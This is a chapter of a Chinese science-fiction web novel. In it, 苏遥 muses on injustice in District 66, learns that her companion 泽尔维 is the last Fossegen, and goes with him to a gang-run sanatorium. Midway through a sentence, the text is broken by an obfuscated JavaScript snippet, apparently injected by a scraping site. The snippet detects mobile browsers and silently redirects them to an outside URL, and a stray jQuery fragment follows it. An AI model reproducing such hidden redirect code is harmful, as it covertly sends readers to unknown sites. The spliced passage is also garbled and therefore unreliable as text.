167. 挂号

    没有月光的深夜,死一般寂静。


    悬浮车轰鸣撕裂空气,引擎声将三楼昏睡的女人猛地惊醒。


    她迅速裹着被子缩到床角,恍惚半晌,才迟钝地想起刚刚的一切。


    “安?”女人艰难地起身,“是你救了我吗?”


    休息室空空如也,盛夏夜晚热风从窗外倒灌,无人回应。


    女人披上衣服,撑着遍体鳞伤的身体,跌跌撞撞走到窗前。


    十几辆价值不菲,印有贵族家徽的悬浮车停在疗养院门前,一个个维吉尔人卸下脚镣,战战兢兢踏进车里。


    没有一辆车牌来自六十六区。


    这是……


    女人眼中盈满泪水:“我们自由了吗?我们可以回家了吗?”


    微风拂面,她的眼泪被看不见的手轻轻拭去。


    女人蓦然转身,追过去的手捞了个空。


    她看到休息室的门无声打开,三楼仅剩一盏完好的应急灯,在走廊尽头缓缓亮起。


    仿佛迷雾中亮起的灯塔,吹散她心中仅剩的不安。


    “真的是你……安。”


    她泣不成声,踏上一片狼藉,血肉横飞的阴森走廊,心中却没有一丝恐惧。


    谁都可能伤害她,但安永远不会。


    女人吃力地向前走,常年待在地下牢狱,她双腿肌肉早已退化,短短一百米的路,她走到一半就开始颤颤巍巍。


    她踩到一滩血水,险些滑倒,那只无形的大手又出现了,轻轻扶了一下她的腰。


    她眼泪流得更凶,却微笑起来,拼尽全力走到电梯前,用力按下旋钮。


    电梯叮地打开。


    女人踏进去,在灯光明亮的电梯间里,回头看向黑暗的走廊。


    那里空无一物,但她知道,安在看着她。


    女人仿佛想起了什么,在电梯合拢前一秒,吃力地将手臂上的留置装置取下,用尽全力抛出去。


    她擦干眼泪,露出灿烂的笑。


    …


    悬浮车队缓缓驶离六十六区。


    苏遥收回凝望夜空的视线,感到深深的无力。


    越是靠近权利的中心,她能做到的就越多,可越来越意识到,她能改变的却那么少。


    这个世界不公平的地方太多了。


    科技已经足够发达,那么多工作岗位都能由机器人代劳,生产力过剩之下,可帝都依旧每天都有贫困不堪的人在阴暗角落里饿死。


    和平的生活什么时候才能到来?


    人虫战争真的结束后,这些生活在金字塔底端的平凡人,真的可以过上更好的生活吗?


    苏遥眺望着六十六区城市的夜景。


    凌晨三点,这座不夜城正在最热闹的时候,霓虹灯将每一栋高楼都装饰得美轮美奂,每一个醉生梦死的人,都将每天当做生命最后一秒在狂欢。


    这里,是全星际最璀璨人类城市脚下的阴影。


    它和帝都有着千丝万缕的联系,这些无法无天的黑/帮,如果背后没有人政治处的人暗中支持,绝不可能将生意做到那么大的规模。


    不将这些“根部”铲除,再怎么修剪枯朽树枝的枝杈,也是徒劳。


    苏遥压下胸口的愤怒,自嘲般一笑。


    “不就是改变世界么,不试试怎么知道能不能成功?”


    ……


    …


    重回摩菲赌场,苏遥洗掉一身血味,刚沾枕头感觉没睡多久,天就大亮了。


    锲而不舍的铃声持续了半分钟。


    乱七八糟穿着睡衣开门,苏遥比昨天更重的黑眼圈让泽尔维看得直皱眉。


    “没错,我昨晚回三楼玩了。”


    苏遥没等他问,立刻抢答,打着呵欠去洗漱。


    泽尔维看着屋内乱糟糟扔了一地的衣服,和桌上摆满的开盖化妆品,挑了挑眉,双手环胸地选择站在门口等她。


    五分钟后,洗漱完的苏遥已经戴上了假发,哒哒跑到桌前,对着镜子戴隐形眼镜。


    “赌场的套房你退了吗?”苏遥快速把自己的脸涂白几个色号。


    她在试探泽尔维是不是打算“度假结束”,可惜得到他淡淡一声“没有”。


    苏遥无奈地戴上墨镜:“好吧,那今天继续一起行动。”


    按照昨天的行程规划,两人今天要去疗养院。


    虽然昨晚苏遥去踩点用力过猛,但她只破坏了三楼,想必一二楼还是可以接待人的。


    路上,泽尔闭着眼,半靠着悬浮车座椅。他侧脸轮廓分明,深色皮肤有种说不出的紧实性感。从脚底到头发丝都带着一股散懒的气质。


    苏遥若有所思:“说起来,我还没问过你家乡在哪?”


    这一般不是军官之间的禁忌话题。


    泽尔维却没有立刻回答,而是缓缓撩开眼,问:“你想知道?”


    废话,不然她问什么。


    苏遥心里蛐蛐,突然被他牵住了手。


    泽尔维淡然地摊开她掌心。


    食指修长,一笔一划地书写。


    薄茧轻轻划过,有种微微的痒。


    苏遥不自在地抽了一下,泽尔维捏住她:“别动。”


    这个距离看过去,这位黑皮大帅哥有几根睫毛竟然是纯白的,夹在鸦羽般的浓密睫毛里,以前她竟没注意。


    “……”泽尔维垂眸:“别盯着我的眼睛看。”


    还害羞吗?


    苏遥觉得好笑,可惜这位上校肤色太黑,脸上什么颜色都看不出来。


    随着他一笔一划写完,苏遥突然一愣。


    佛塞根?


    不会这么巧吧,可这一支人种不是二十年前已经灭族了吗?


    苏遥诧异抬起眼:“你是……”


    泽尔维道:“我是最后一个。”


    全星际最后一个……佛塞根人?


    苏遥没想到随意提起的话题竟然这么沉重。


    难以想象,如果全星际的华族人都殒命,她到底该以什么身份活下去。


    再没人能读懂那些方正汉字背后恢宏古老的一代代传承。


    再没人会演奏古谱残本上婷婷袅袅的乐章。


    那些千千万万年文明的积淀,全部随着见证者的故去,化作历史巨轮中无人问津的齑粉。


    这是怎样的精神地狱。


    见苏遥欲言又止,泽尔维笑了笑说:“没什么,替我保密就行了。”


    “过去的一切仇怨,我会在战场上亲手为他们讨回。”


    他声音非常平静,仿佛在说今晚该吃什么一样的闲话日常。但所有刻骨铭心的恨,已经在日复一日的自我鞭挞中融入骨血。


    看似彻底的放下,其实是将其全部抗在肩上。


    她突然想起前世她刺杀泽尔维的那一刻。


    年轻的帝都临时指挥官刚刚现场镇压完惶恐公民的暴/乱,在匆匆返回指挥室的路上,在全星际理论上最安全的地方,被她一刀封喉。


    泽尔维倒下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024245|143781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前凶恶的眼神仿佛地狱爬出来的鬼。


    那种深刻的恨意,让和他对视的苏遥大脑仿佛被什么东西狠狠重击了一瞬,连着做了好几天的噩梦都没缓过来。


    苏遥低头:“对不起。”


    泽尔维疑惑:“我没怪你。”


    苏遥缓缓捏紧拳头。


    虽然现在的她在尽力挽救了,可前世她对泽尔维、对法尔洛斯、对所有信任过她的闺蜜和朋友,都欠一个以命抵命的道歉。


    可她,已经回不去了。


    苏遥揉了揉发烫的眼眶,故作轻松说:“我收回之前的话,上校。我毕业能去你手下当兵吗?仔细想想,这都是我该的。”


    原来你之前一直不想去吗?


    泽尔维颔首:“递完申请私信我。”


    冷静了一会,苏遥终于想通泽尔维以度假的名义来六十六区是要做什么了。


    佛塞根人已经灭亡了二十年,泽尔维骤然听到家乡“祖坟被刨”的消息,肯定要来看看是哪个不长眼的蠢货干这缺德生意。


    可惜,刨坟卖骨灰这种事流程上归联邦“文/化/部”和“市场部”管理。


    以泽尔维的性格,哪能等这两个部门慢吞吞去佛塞根遗址调查取证。可能听到这消息的下一秒,已经向军部递上请假申请,直接行动了。


    好嘛,什么鬼才营销想出的绝妙捞钱办法,精准在泽尔维雷区红线蹦迪。


    前面就要到疗养院,苏遥眯起眼,远远已经看到里面停了一排豪车,三楼和一楼被打爆的玻璃已经全修好了,门口被炮/轰塌的墙也补了个七七八八。


    这伙人还真是要钱不要命啊。


    苏遥心情微妙,不愧是能干出挖人骨灰泡汤卖钱的黑/帮,闹诡的房子也敢开门做生意。


    她一会可得离得远些,免得泽尔维发火大搞拆迁时被余震波及。


    虽然这群人只是在挂羊头卖狗肉,但泽尔维绝不会对这群亵渎他母星声誉的罪犯手软。


    “那么待会就麻烦你了。”


    苏遥戴上墨镜,下车后挽住泽尔维的手肘:“就按之前商量好的来。”


    “欢迎光临,请问女士之前有预约吗?”


    前台男Beta瞧了一眼泽尔维的脸,热情地对苏遥说:“没有预约也不要紧,不过本店红浴每场只能招待三个客人,您可能需要等上一会儿。”


    “我不是来做美容的。”


    苏遥冲他对了个你懂的眼神:“给他挂个号吧。”


    “好的女士。”


    迎宾笑容不变,叫来另一个人带苏遥去二楼。


    两人步入电梯,大厅的迎宾立刻拨出去紧急通讯。


    “董事,这有个完美符合你要求的男Alpha。对对,黑皮肤,脸也够意思!很适合扮演佛塞根混血!”


    “身份?他就一被包养的小白脸,能有什么身份!”


    “好的,我这就让人稳住他……”


    掐断通讯,迎宾擦了擦汗,庆幸地对旁边人说。


    “真走运,再晚半天找到这素材,咱全得被老大削死。”


    “确实,本来黑色人种在六十六区就少,一上午才弄来不到二十个,哪够两天用的!”


    另一人咂嘴:“话又说回来……这富婆还挺漂亮,那个小白脸过的什么神仙日子?”


    “帅有什么用,还不是被金主压来治不育。”


    “确实,哈哈哈。”


    疗养院门口传出一片快活的笑声。